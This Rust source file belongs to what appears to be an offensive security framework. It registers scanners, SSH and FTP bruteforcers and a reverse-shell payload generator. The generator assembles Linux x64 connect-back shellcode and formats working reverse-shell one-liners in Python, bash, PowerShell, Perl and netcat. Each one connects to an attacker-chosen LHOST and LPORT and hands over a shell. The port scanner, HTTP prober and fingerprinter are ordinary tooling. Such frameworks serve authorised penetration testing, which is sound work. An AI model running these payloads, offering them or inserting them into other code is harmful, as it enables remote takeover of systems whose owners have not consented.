Skip to main content

icebox/modules/
mod.rs

1use crate::core::module::{Module, ModuleEntry, ModuleError, ModuleResult};
2use async_trait::async_trait;
3use base64::engine::general_purpose::STANDARD;
4use base64::Engine;
5use icebox_macro::module;
6use std::sync::Mutex;
7
8pub mod network_scanners;
9pub mod recon_scanners;
10pub mod vuln_scanner;
11
12static DYNAMIC: Mutex<Vec<ModuleEntry>> = Mutex::new(Vec::new());
13
14pub fn register_dynamic(entry: ModuleEntry) {
15    let mut guard = match DYNAMIC.lock() {
16        Ok(g) => g,
17        Err(poisoned) => poisoned.into_inner(),
18    };
19    guard.push(entry);
20}
21
22pub fn register_builtin(entry: ModuleEntry) {
23    let name = (entry.info)().name;
24    let mut guard = match DYNAMIC.lock() {
25        Ok(g) => g,
26        Err(poisoned) => poisoned.into_inner(),
27    };
28    if !guard.iter().any(|e| (e.info)().name == name) {
29        guard.push(entry);
30    }
31}
32
33pub fn discover() -> Vec<ModuleEntry> {
34    use std::sync::Once;
35    static INIT: Once = Once::new();
36    INIT.call_once(register_all_builtins);
37
38    let mut all: Vec<ModuleEntry> = crate::MODULE_REGISTRY.iter().copied().collect();
39    let guard = match DYNAMIC.lock() {
40        Ok(g) => g,
41        Err(poisoned) => poisoned.into_inner(),
42    };
43    all.extend(guard.iter().copied());
44    all
45}
46
47pub fn load(name: &str) -> Option<crate::core::module::LoadedModule> {
48    discover()
49        .into_iter()
50        .find(|e| (e.info)().name == name)
51        .map(|e| crate::core::module::LoadedModule {
52            info: (e.info)(),
53            module: (e.make)(),
54        })
55}
56
57pub fn register_all_builtins() {
58    let entries: Vec<ModuleEntry> = vec![
59        ModuleEntry {
60            info: DnsResolver::build_info,
61            make: || Box::new(DnsResolver::default()),
62        },
63        ModuleEntry {
64            info: HttpProbe::build_info,
65            make: || Box::new(HttpProbe::default()),
66        },
67        ModuleEntry {
68            info: ReverseShell::build_info,
69            make: || Box::new(ReverseShell::default()),
70        },
71        ModuleEntry {
72            info: ServiceFingerprinter::build_info,
73            make: || Box::new(ServiceFingerprinter::default()),
74        },
75        ModuleEntry {
76            info: TcpPortScanner::build_info,
77            make: || Box::new(TcpPortScanner::default()),
78        },
79        ModuleEntry {
80            info: vuln_scanner::VulnScanner::build_info,
81            make: || Box::new(vuln_scanner::VulnScanner::default()),
82        },
83        ModuleEntry {
84            info: network_scanners::ArpScanner::build_info,
85            make: || Box::new(network_scanners::ArpScanner::default()),
86        },
87        ModuleEntry {
88            info: network_scanners::FtpBruteforce::build_info,
89            make: || Box::new(network_scanners::FtpBruteforce::default()),
90        },
91        ModuleEntry {
92            info: network_scanners::FtpScanner::build_info,
93            make: || Box::new(network_scanners::FtpScanner::default()),
94        },
95        ModuleEntry {
96            info: network_scanners::RdpScanner::build_info,
97            make: || Box::new(network_scanners::RdpScanner::default()),
98        },
99        ModuleEntry {
100            info: network_scanners::RedisScanner::build_info,
101            make: || Box::new(network_scanners::RedisScanner::default()),
102        },
103        ModuleEntry {
104            info: network_scanners::SmbScanner::build_info,
105            make: || Box::new(network_scanners::SmbScanner::default()),
106        },
107        ModuleEntry {
108            info: network_scanners::SshBruteforce::build_info,
109            make: || Box::new(network_scanners::SshBruteforce::default()),
110        },
111        ModuleEntry {
112            info: network_scanners::SshScanner::build_info,
113            make: || Box::new(network_scanners::SshScanner::default()),
114        },
115        ModuleEntry {
116            info: network_scanners::TelnetScanner::build_info,
117            make: || Box::new(network_scanners::TelnetScanner::default()),
118        },
119        ModuleEntry {
120            info: network_scanners::VncScanner::build_info,
121            make: || Box::new(network_scanners::VncScanner::default()),
122        },
123        ModuleEntry {
124            info: recon_scanners::DnsZoneTransfer::build_info,
125            make: || Box::new(recon_scanners::DnsZoneTransfer::default()),
126        },
127        ModuleEntry {
128            info: recon_scanners::EsScanner::build_info,
129            make: || Box::new(recon_scanners::EsScanner::default()),
130        },
131        ModuleEntry {
132            info: recon_scanners::MongoScanner::build_info,
133            make: || Box::new(recon_scanners::MongoScanner::default()),
134        },
135        ModuleEntry {
136            info: recon_scanners::MysqlScanner::build_info,
137            make: || Box::new(recon_scanners::MysqlScanner::default()),
138        },
139        ModuleEntry {
140            info: recon_scanners::PostgresScanner::build_info,
141            make: || Box::new(recon_scanners::PostgresScanner::default()),
142        },
143        ModuleEntry {
144            info: recon_scanners::SmtpScanner::build_info,
145            make: || Box::new(recon_scanners::SmtpScanner::default()),
146        },
147        ModuleEntry {
148            info: recon_scanners::SnmpScanner::build_info,
149            make: || Box::new(recon_scanners::SnmpScanner::default()),
150        },
151        ModuleEntry {
152            info: recon_scanners::SubdomainEnum::build_info,
153            make: || Box::new(recon_scanners::SubdomainEnum::default()),
154        },
155        ModuleEntry {
156            info: recon_scanners::WebPathScanner::build_info,
157            make: || Box::new(recon_scanners::WebPathScanner::default()),
158        },
159        ModuleEntry {
160            info: recon_scanners::WhoisLookup::build_info,
161            make: || Box::new(recon_scanners::WhoisLookup::default()),
162        },
163    ];
164    for e in entries {
165        register_builtin(e);
166    }
167}
168
169fn generate_linux_x64_shellcode(lhost: &str, lport: u16) -> Result<Vec<u8>, ModuleError> {
170    let mut sc = Vec::new();
171    sc.extend_from_slice(&[
172        0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05,
173    ]);
174    sc.extend_from_slice(&[0x48, 0x97]);
175    sc.extend_from_slice(&[0x4d, 0x31, 0xd2, 0x41, 0x52]);
176    sc.extend_from_slice(&[0x48, 0xb9]);
177    sc.extend_from_slice(&[0x02, 0x00]);
178    sc.extend_from_slice(&lport.to_be_bytes());
179    sc.extend_from_slice(
180        &lhost
181            .parse::<std::net::Ipv4Addr>()
182            .map_err(|_| ModuleError::Other(format!("invalid IPv4: {lhost}")))?
183            .octets(),
184    );
185    sc.push(0x51);
186    sc.extend_from_slice(&[
187        0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05,
188    ]);
189    sc.extend_from_slice(&[0x6a, 0x03, 0x5e]);
190    sc.extend_from_slice(&[0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6]);
191    sc.extend_from_slice(&[0x48, 0x31, 0xd2, 0x52]);
192    sc.extend_from_slice(&[0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68]);
193    sc.extend_from_slice(&[0x53, 0x48, 0x89, 0xe7]);
194    sc.extend_from_slice(&[0x52, 0x57, 0x48, 0x89, 0xe6]);
195    sc.extend_from_slice(&[0xb0, 0x3b, 0x0f, 0x05]);
196    Ok(sc)
197}
198
199fn generate_python_shell(lhost: &str, lport: u16) -> String {
200    format!(
201        r#"import socket,subprocess,os,pty
202s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
203s.connect(("{lhost}",{lport}))
204os.dup2(s.fileno(),0)
205os.dup2(s.fileno(),1)
206os.dup2(s.fileno(),2)
207import pty; pty.spawn("/bin/sh")
208"#,
209    )
210}
211
212fn generate_bash_shell(lhost: &str, lport: u16) -> String {
213    format!("bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'")
214}
215
216fn generate_powershell_shell(lhost: &str, lport: u16) -> String {
217    format!(
218        r#"$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});
219$stream = $client.GetStream();
220[byte[]]$bytes = 0..65535|%{{0}};
221while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{
222    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
223    $sendback = (iex $data 2>&1 | Out-String );
224    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
225    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
226    $stream.Write($sendbyte,0,$sendbyte.Length);
227    $stream.Flush()
228}};
229$client.Close()
230"#,
231    )
232}
233
234fn generate_perl_shell(lhost: &str, lport: u16) -> String {
235    format!(
236        "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};\n\
237socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));\n\
238if(connect(S,sockaddr_in($p,inet_aton($i)))){{\n\
239    open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");\n\
240    exec(\"/bin/sh -i\");\n\
241}}'"
242    )
243}
244fn generate_nc_shell(lhost: &str, lport: u16) -> String {
245    format!("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
246}
247
248#[module(
249    name = "reverse_shell_generator",
250    kind = "Payload",
251    description = "Multi-format reverse shell payload generator (shellcode + one-liners)",
252    author = "ICEBOX"
253)]
254pub struct ReverseShell {
255    #[option(required = true, help = "LHOST for callback (IP address)")]
256    pub lhost: String,
257    #[option(required = true, help = "LPORT for callback")]
258    pub lport: u16,
259    #[option(help = "Payload format: shellcode,python,bash,powershell,perl,nc,all (default: all)")]
260    pub format: String,
261}
262
263impl ReverseShell {
264    fn build_payloads(&self) -> (serde_json::Map<String, serde_json::Value>, Vec<String>) {
265        let lhost = self.lhost.trim();
266        let lport = self.lport;
267        let want =
268            |f: &str| self.format.is_empty() || self.format == "all" || self.format.contains(f);
269
270        let mut payloads = serde_json::Map::new();
271        let mut evidence = Vec::new();
272
273        if want("shellcode") {
274            match generate_linux_x64_shellcode(lhost, lport) {
275                Ok(shellcode) => {
276                    let hex = shellcode
277                        .iter()
278                        .map(|b| format!("\\x{b:02x}"))
279                        .collect::<String>();
280                    let b64 = base64_encode(&shellcode);
281                    let c_array = shellcode
282                        .iter()
283                        .map(|b| format!("0x{b:02x}"))
284                        .collect::<Vec<_>>()
285                        .join(", ");
286                    let c_code =
287                        format!("unsigned char buf[] = {{ {c_array} }};\nint len = sizeof(buf);\n");
288                    payloads.insert(
289                        "linux_x64_shellcode".into(),
290                        serde_json::json!({
291                            "hex": hex,
292                            "base64": b64,
293                            "c_code": c_code,
294                            "raw_len": shellcode.len(),
295                        }),
296                    );
297                    evidence.push(format!("payload/shellcode ({} bytes)", shellcode.len()));
298                }
299                Err(e) => {
300                    payloads.insert(
301                        "linux_x64_shellcode_error".into(),
302                        serde_json::json!(e.to_string()),
303                    );
304                }
305            }
306        }
307
308        if want("python") {
309            let py = generate_python_shell(lhost, lport);
310            payloads.insert("python".into(), serde_json::json!(py));
311            evidence.push("payload/python".into());
312        }
313
314        if want("bash") {
315            let sh = generate_bash_shell(lhost, lport);
316            payloads.insert("bash".into(), serde_json::json!(sh));
317            evidence.push("payload/bash".into());
318        }
319
320        if want("powershell") {
321            let ps = generate_powershell_shell(lhost, lport);
322            payloads.insert("powershell".into(), serde_json::json!(ps));
323            evidence.push("payload/powershell".into());
324        }
325
326        if want("perl") {
327            let pl = generate_perl_shell(lhost, lport);
328            payloads.insert("perl".into(), serde_json::json!(pl));
329            evidence.push("payload/perl".into());
330        }
331
332        if want("nc") {
333            let nc = generate_nc_shell(lhost, lport);
334            payloads.insert("netcat".into(), serde_json::json!(nc));
335            evidence.push("payload/netcat".into());
336        }
337
338        (payloads, evidence)
339    }
340}
341
342#[async_trait]
343impl Module for ReverseShell {
344    fn options_json(&self) -> serde_json::Value {
345        serde_json::to_value(&ReverseShellOptions {
346            lhost: self.lhost.clone(),
347            lport: self.lport,
348            format: self.format.clone(),
349        })
350        .unwrap_or(serde_json::Value::Null)
351    }
352
353    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
354        let mut o = ReverseShellOptions {
355            lhost: self.lhost.clone(),
356            lport: self.lport,
357            format: self.format.clone(),
358        };
359        o.set(name, value)?;
360        self.lhost = o.lhost;
361        self.lport = o.lport;
362        self.format = o.format;
363        Ok(())
364    }
365
366    fn validate(&self) -> Result<(), ModuleError> {
367        ReverseShellOptions {
368            lhost: self.lhost.clone(),
369            lport: self.lport,
370            format: self.format.clone(),
371        }
372        .validate()?;
373        self.lhost
374            .parse::<std::net::Ipv4Addr>()
375            .map_err(|_| ModuleError::Other(format!("invalid IPv4 address: {}", self.lhost)))?;
376        Ok(())
377    }
378
379    async fn dry_run(&self) -> Result<ModuleResult, ModuleError> {
380        let (payloads, evidence) = self.build_payloads();
381        let count = payloads.len();
382        Ok(ModuleResult {
383            success: true,
384            finding: Some(format!("Generated {count} payload format(s) [dry_run]")),
385            evidence,
386            data: serde_json::json!({ "payloads": payloads, "count": count }),
387            ..Default::default()
388        })
389    }
390
391    async fn run(&self) -> Result<ModuleResult, ModuleError> {
392        let lhost = self.lhost.trim().to_string();
393        let lport = self.lport;
394        let (payloads, evidence) = self.build_payloads();
395        let count = payloads.len();
396        Ok(ModuleResult {
397            success: true,
398            session_id: Some(format!("session:{lhost}:{lport}")),
399            finding: Some(format!(
400                "Generated {count} payload format(s) for LHOST={lhost} LPORT={lport}"
401            )),
402            evidence,
403            data: serde_json::json!({
404                "lhost": lhost,
405                "lport": lport,
406                "formats": self.format,
407                "payloads": payloads,
408                "count": count,
409            }),
410            ..Default::default()
411        })
412    }
413}
414
415fn base64_encode(data: &[u8]) -> String {
416    STANDARD.encode(data)
417}
418
419pub(crate) fn hex_encode(data: &[u8]) -> String {
420    hex::encode(data)
421}
422
423#[module(
424    name = "tcp_port_scanner",
425    kind = "Scanner",
426    description = "TCP connect port scanner",
427    author = "ICEBOX"
428)]
429pub struct TcpPortScanner {
430    #[option(required = true, help = "Target IP or hostname")]
431    pub host: String,
432    #[option(required = true, help = "Ports to scan (e.g. 1-1024 or 22,80,443)")]
433    pub ports: String,
434    #[option(help = "Timeout per port in milliseconds (default 1000)")]
435    pub timeout_ms: u64,
436}
437
438impl TcpPortScanner {
439    fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
440        let mut ports = Vec::new();
441        for part in spec.split(',') {
442            let part = part.trim();
443            if part.is_empty() {
444                continue;
445            }
446            if let Some((lo, hi)) = part.split_once('-') {
447                let lo: u16 = lo
448                    .trim()
449                    .parse()
450                    .map_err(|_| ModuleError::Parse(format!("bad range lower: {lo}")))?;
451                let hi: u16 = hi
452                    .trim()
453                    .parse()
454                    .map_err(|_| ModuleError::Parse(format!("bad range upper: {hi}")))?;
455                if lo > hi {
456                    return Err(ModuleError::Parse(format!("range {lo} > {hi}")));
457                }
458                for p in lo..=hi {
459                    ports.push(p);
460                }
461            } else {
462                let p: u16 = part
463                    .parse()
464                    .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
465                ports.push(p);
466            }
467        }
468        if ports.is_empty() {
469            return Err(ModuleError::Other("no ports specified".into()));
470        }
471        Ok(ports)
472    }
473}
474
475#[async_trait]
476impl Module for TcpPortScanner {
477    fn options_json(&self) -> serde_json::Value {
478        serde_json::to_value(&TcpPortScannerOptions {
479            host: self.host.clone(),
480            ports: self.ports.clone(),
481            timeout_ms: self.timeout_ms,
482        })
483        .unwrap_or(serde_json::Value::Null)
484    }
485
486    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
487        let mut o = TcpPortScannerOptions {
488            host: self.host.clone(),
489            ports: self.ports.clone(),
490            timeout_ms: self.timeout_ms,
491        };
492        o.set(name, value)?;
493        self.host = o.host;
494        self.ports = o.ports;
495        self.timeout_ms = o.timeout_ms;
496        Ok(())
497    }
498
499    fn validate(&self) -> Result<(), ModuleError> {
500        TcpPortScannerOptions {
501            host: self.host.clone(),
502            ports: self.ports.clone(),
503            timeout_ms: self.timeout_ms,
504        }
505        .validate()?;
506        Self::resolve_ports(&self.ports).map(|_| ())
507    }
508
509    async fn run(&self) -> Result<ModuleResult, ModuleError> {
510        let ports = Self::resolve_ports(&self.ports)?;
511        let timeout = if self.timeout_ms > 0 {
512            std::time::Duration::from_millis(self.timeout_ms)
513        } else {
514            std::time::Duration::from_secs(1)
515        };
516        let host = self.host.clone();
517        let concurrency = 100usize;
518        let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
519
520        let mut handles = Vec::new();
521        for port in ports {
522            let permit = semaphore
523                .clone()
524                .acquire_owned()
525                .await
526                .map_err(|e| ModuleError::Other(e.to_string()))?;
527            let h = host.clone();
528            handles.push(tokio::spawn(async move {
529                let _permit = permit;
530                let addr = crate::core::proxy::resolve_dial(&h, port);
531                match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
532                    Ok(Ok(_)) => Some(port),
533                    _ => None,
534                }
535            }));
536        }
537
538        let mut open_ports: Vec<u16> = Vec::new();
539        for h in handles {
540            if let Ok(Some(port)) = h.await {
541                open_ports.push(port);
542            }
543        }
544        open_ports.sort();
545
546        let finding = if open_ports.is_empty() {
547            "No open ports found".to_string()
548        } else {
549            format!(
550                "Open ports: {}",
551                open_ports
552                    .iter()
553                    .map(|p| p.to_string())
554                    .collect::<Vec<_>>()
555                    .join(", ")
556            )
557        };
558
559        Ok(ModuleResult {
560            success: true,
561            finding: Some(finding),
562            evidence: open_ports.iter().map(|p| format!("tcp/{p}")).collect(),
563            data: serde_json::json!({
564                "host": self.host,
565                "open_ports": open_ports,
566            }),
567            ..Default::default()
568        })
569    }
570}
571
572#[module(
573    name = "http_probe",
574    kind = "Scanner",
575    description = "HTTP service banner grabber",
576    author = "ICEBOX"
577)]
578pub struct HttpProbe {
579    #[option(required = true, help = "Target IP or hostname")]
580    pub host: String,
581    #[option(
582        required = true,
583        help = "Ports to probe (comma-separated, e.g. 80,443,8080)"
584    )]
585    pub ports: String,
586    #[option(help = "Timeout per probe in milliseconds (default 3000)")]
587    pub timeout_ms: u64,
588}
589
590#[async_trait]
591impl Module for HttpProbe {
592    fn options_json(&self) -> serde_json::Value {
593        serde_json::to_value(&HttpProbeOptions {
594            host: self.host.clone(),
595            ports: self.ports.clone(),
596            timeout_ms: self.timeout_ms,
597        })
598        .unwrap_or(serde_json::Value::Null)
599    }
600
601    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
602        let mut o = HttpProbeOptions {
603            host: self.host.clone(),
604            ports: self.ports.clone(),
605            timeout_ms: self.timeout_ms,
606        };
607        o.set(name, value)?;
608        self.host = o.host;
609        self.ports = o.ports;
610        self.timeout_ms = o.timeout_ms;
611        Ok(())
612    }
613
614    fn validate(&self) -> Result<(), ModuleError> {
615        HttpProbeOptions {
616            host: self.host.clone(),
617            ports: self.ports.clone(),
618            timeout_ms: self.timeout_ms,
619        }
620        .validate()
621    }
622
623    async fn run(&self) -> Result<ModuleResult, ModuleError> {
624        let host = self.host.clone();
625        let timeout = if self.timeout_ms > 0 {
626            std::time::Duration::from_millis(self.timeout_ms)
627        } else {
628            std::time::Duration::from_secs(3)
629        };
630
631        let ports: Vec<&str> = self
632            .ports
633            .split(',')
634            .map(|s| s.trim())
635            .filter(|s| !s.is_empty())
636            .collect();
637        if ports.is_empty() {
638            return Err(ModuleError::Other("no ports specified".into()));
639        }
640
641        let concurrency = 20usize;
642        let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
643        let mut handles = Vec::new();
644        let request = b"GET / HTTP/1.0\r\nHost: placeholder\r\n\r\n";
645
646        for port_str in ports {
647            let port: u16 = port_str
648                .parse()
649                .map_err(|_| ModuleError::Parse(format!("bad port: {port_str}")))?;
650            let permit = semaphore
651                .clone()
652                .acquire_owned()
653                .await
654                .map_err(|e| ModuleError::Other(e.to_string()))?;
655            let h = host.clone();
656            let req = request.to_vec();
657            handles.push(tokio::spawn(async move {
658                let _permit = permit;
659                let addr = crate::core::proxy::resolve_dial(&h, port);
660                let stream = match tokio::time::timeout(
661                    timeout,
662                    tokio::net::TcpStream::connect(&addr),
663                )
664                .await
665                {
666                    Ok(Ok(s)) => s,
667                    _ => return None,
668                };
669                if tokio::time::timeout(timeout, stream.writable())
670                    .await
671                    .is_err()
672                {
673                    return None;
674                }
675                let _ = stream.try_write(&req);
676                let mut buf = vec![0u8; 4096];
677                let n = match tokio::time::timeout(timeout, stream.readable()).await {
678                    Ok(_) => stream.try_read(&mut buf).unwrap_or(0),
679                    _ => 0,
680                };
681                if n == 0 {
682                    return None;
683                }
684                let resp = String::from_utf8_lossy(&buf[..n.min(1024)]).to_string();
685                let first_line = resp.lines().next().unwrap_or("").to_string();
686                let server = resp
687                    .lines()
688                    .find(|l| l.to_ascii_lowercase().starts_with("server:"))
689                    .unwrap_or("")
690                    .to_string();
691                Some((port, first_line, server, resp.len()))
692            }));
693        }
694
695        let mut services: Vec<serde_json::Value> = Vec::new();
696        for h in handles {
697            if let Ok(Some((port, status, server, size))) = h.await {
698                services.push(serde_json::json!({
699                    "port": port,
700                    "status": status,
701                    "server": if server.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(server) },
702                    "response_size": size,
703                }));
704            }
705        }
706
707        if services.is_empty() {
708            return Ok(ModuleResult {
709                success: true,
710                finding: Some("No HTTP services detected on specified ports".into()),
711                evidence: Vec::new(),
712                data: serde_json::json!({ "host": self.host, "services": services }),
713                ..Default::default()
714            });
715        }
716
717        let banners: Vec<String> = services
718            .iter()
719            .map(|s| {
720                let port = s["port"].as_u64().unwrap_or(0);
721                let status = s["status"].as_str().unwrap_or("");
722                let server = s["server"].as_str().unwrap_or("");
723                format!("tcp/{port} {status} {server}")
724            })
725            .collect();
726
727        Ok(ModuleResult {
728            success: true,
729            finding: Some(format!("Detected {} HTTP services", services.len())),
730            evidence: banners,
731            data: serde_json::json!({
732                "host": self.host,
733                "services": services,
734            }),
735            ..Default::default()
736        })
737    }
738}
739
740#[module(
741    name = "dns_resolver",
742    kind = "Auxiliary",
743    description = "Resolve a hostname to IPv4/IPv6 addresses via system DNS",
744    author = "ICEBOX"
745)]
746pub struct DnsResolver {
747    #[option(required = true, help = "Hostname to resolve")]
748    pub hostname: String,
749}
750
751#[async_trait]
752impl Module for DnsResolver {
753    fn options_json(&self) -> serde_json::Value {
754        serde_json::to_value(&DnsResolverOptions {
755            hostname: self.hostname.clone(),
756        })
757        .unwrap_or(serde_json::Value::Null)
758    }
759
760    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
761        let mut o = DnsResolverOptions {
762            hostname: self.hostname.clone(),
763        };
764        o.set(name, value)?;
765        self.hostname = o.hostname;
766        Ok(())
767    }
768
769    fn validate(&self) -> Result<(), ModuleError> {
770        DnsResolverOptions {
771            hostname: self.hostname.clone(),
772        }
773        .validate()
774    }
775
776    async fn run(&self) -> Result<ModuleResult, ModuleError> {
777        let hostname = self.hostname.trim();
778        if hostname.is_empty() {
779            return Err(ModuleError::Other("hostname required".into()));
780        }
781        let addrs: Vec<std::net::IpAddr> = match tokio::net::lookup_host((hostname, 0)).await {
782            Ok(addrs) => addrs.map(|a| a.ip()).collect(),
783            Err(e) => {
784                return Ok(ModuleResult {
785                    success: false,
786                    finding: Some(format!("DNS resolution failed: {e}")),
787                    evidence: vec![format!("dns_error: {e}")],
788                    data: serde_json::json!({ "hostname": hostname, "error": e.to_string() }),
789                    ..Default::default()
790                });
791            }
792        };
793
794        let v4: Vec<String> = addrs
795            .iter()
796            .filter(|a| a.is_ipv4())
797            .map(|a| a.to_string())
798            .collect();
799        let v6: Vec<String> = addrs
800            .iter()
801            .filter(|a| a.is_ipv6())
802            .map(|a| a.to_string())
803            .collect();
804
805        let count = addrs.len();
806        let finding = if count == 0 {
807            "No DNS records found".into()
808        } else {
809            format!(
810                "Resolved {count} address(es): {}",
811                addrs
812                    .iter()
813                    .map(|a| a.to_string())
814                    .collect::<Vec<_>>()
815                    .join(", ")
816            )
817        };
818
819        Ok(ModuleResult {
820            success: count > 0,
821            finding: Some(finding),
822            evidence: addrs.iter().map(|a| format!("dns/{a}")).collect(),
823            data: serde_json::json!({
824                "hostname": hostname,
825                "ipv4": v4,
826                "ipv6": v6,
827                "addresses": addrs,
828            }),
829            ..Default::default()
830        })
831    }
832}
833
834#[module(
835    name = "service_fingerprinter",
836    kind = "Scanner",
837    description = "Identify services on open ports via protocol banner grabbing",
838    author = "ICEBOX"
839)]
840pub struct ServiceFingerprinter {
841    #[option(required = true, help = "Target IP or hostname")]
842    pub host: String,
843    #[option(required = true, help = "Ports to fingerprint (comma-separated)")]
844    pub ports: String,
845    #[option(help = "Timeout per probe in milliseconds (default 3000)")]
846    pub timeout_ms: u64,
847}
848
849impl ServiceFingerprinter {
850    fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
851        let mut ports = Vec::new();
852        for part in spec.split(',') {
853            let p: u16 = part
854                .trim()
855                .parse()
856                .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
857            ports.push(p);
858        }
859        if ports.is_empty() {
860            return Err(ModuleError::Other("no ports specified".into()));
861        }
862        Ok(ports)
863    }
864
865    fn probe_for_port(port: u16) -> &'static [u8] {
866        match port {
867            21 => b"FEAT\r\n",
868            22 => b"",
869            23 => b"\r\n",
870            25 => b"EHLO probe\r\n",
871            53 => b"",
872            80 | 8080 | 8000 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
873            110 => b"",
874            111 => b"",
875            135 => b"",
876            139 => b"",
877            143 => b"a001 LOGOUT\r\n",
878            389 => b"",
879            443 => b"",
880            445 => b"",
881            993 => b"",
882            995 => b"",
883            3306 => b"",
884            3389 => b"",
885            5432 => b"",
886            6379 => b"",
887            8443 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
888            27017 => b"",
889            _ => b"",
890        }
891    }
892}
893
894#[async_trait]
895impl Module for ServiceFingerprinter {
896    fn options_json(&self) -> serde_json::Value {
897        serde_json::to_value(&ServiceFingerprinterOptions {
898            host: self.host.clone(),
899            ports: self.ports.clone(),
900            timeout_ms: self.timeout_ms,
901        })
902        .unwrap_or(serde_json::Value::Null)
903    }
904
905    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
906        let mut o = ServiceFingerprinterOptions {
907            host: self.host.clone(),
908            ports: self.ports.clone(),
909            timeout_ms: self.timeout_ms,
910        };
911        o.set(name, value)?;
912        self.host = o.host;
913        self.ports = o.ports;
914        self.timeout_ms = o.timeout_ms;
915        Ok(())
916    }
917
918    fn validate(&self) -> Result<(), ModuleError> {
919        ServiceFingerprinterOptions {
920            host: self.host.clone(),
921            ports: self.ports.clone(),
922            timeout_ms: self.timeout_ms,
923        }
924        .validate()
925    }
926
927    async fn run(&self) -> Result<ModuleResult, ModuleError> {
928        let ports = Self::resolve_ports(&self.ports)?;
929        let timeout = if self.timeout_ms > 0 {
930            std::time::Duration::from_millis(self.timeout_ms)
931        } else {
932            std::time::Duration::from_secs(3)
933        };
934        let host = self.host.clone();
935
936        let concurrency = 10usize;
937        let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
938
939        let mut handles = Vec::new();
940        for port in ports {
941            let permit = semaphore
942                .clone()
943                .acquire_owned()
944                .await
945                .map_err(|e| ModuleError::Other(e.to_string()))?;
946            let h = host.clone();
947            let probe = Self::probe_for_port(port).to_vec();
948            handles.push(tokio::spawn(async move {
949                let _permit = permit;
950                let addr = crate::core::proxy::resolve_dial(&h, port);
951                let stream = match tokio::time::timeout(
952                    timeout,
953                    tokio::net::TcpStream::connect(&addr),
954                )
955                .await
956                {
957                    Ok(Ok(s)) => s,
958                    _ => return None,
959                };
960                if !probe.is_empty() {
961                    let _ = stream.try_write(&probe);
962                }
963                let mut buf = vec![0u8; 4096];
964                let read_timeout = timeout.min(std::time::Duration::from_secs(1));
965                let n = match tokio::time::timeout(read_timeout, stream.readable()).await {
966                    Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
967                    _ => 0,
968                };
969                if n == 0 {
970                    return Some((port, "open".into(), String::new()));
971                }
972                let raw = &buf[..n.min(1024)];
973                let resp = String::from_utf8_lossy(raw).to_string();
974                let clean: Vec<&str> = resp.lines().filter(|l| !l.is_empty()).collect();
975                let banner = clean.join(" | ");
976                let summary = clean.first().unwrap_or(&"").to_string();
977                Some((port, summary, banner))
978            }));
979        }
980
981        let mut services: Vec<serde_json::Value> = Vec::new();
982        for h in handles {
983            if let Ok(Some((port, summary, banner))) = h.await {
984                services.push(serde_json::json!({
985                    "port": port,
986                    "summary": summary,
987                    "banner": if banner.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(banner) },
988                }));
989            }
990        }
991
992        let evidence: Vec<String> = services
993            .iter()
994            .map(|s| {
995                let port = s["port"].as_u64().unwrap_or(0);
996                let summary = s["summary"].as_str().unwrap_or("");
997                format!("tcp/{port}: {summary}")
998            })
999            .collect();
1000
1001        Ok(ModuleResult {
1002            success: true,
1003            finding: Some(format!("Fingerprinted {} service(s)", services.len())),
1004            evidence,
1005            data: serde_json::json!({
1006                "host": self.host,
1007                "services": services,
1008            }),
1009            ..Default::default()
1010        })
1011    }
1012}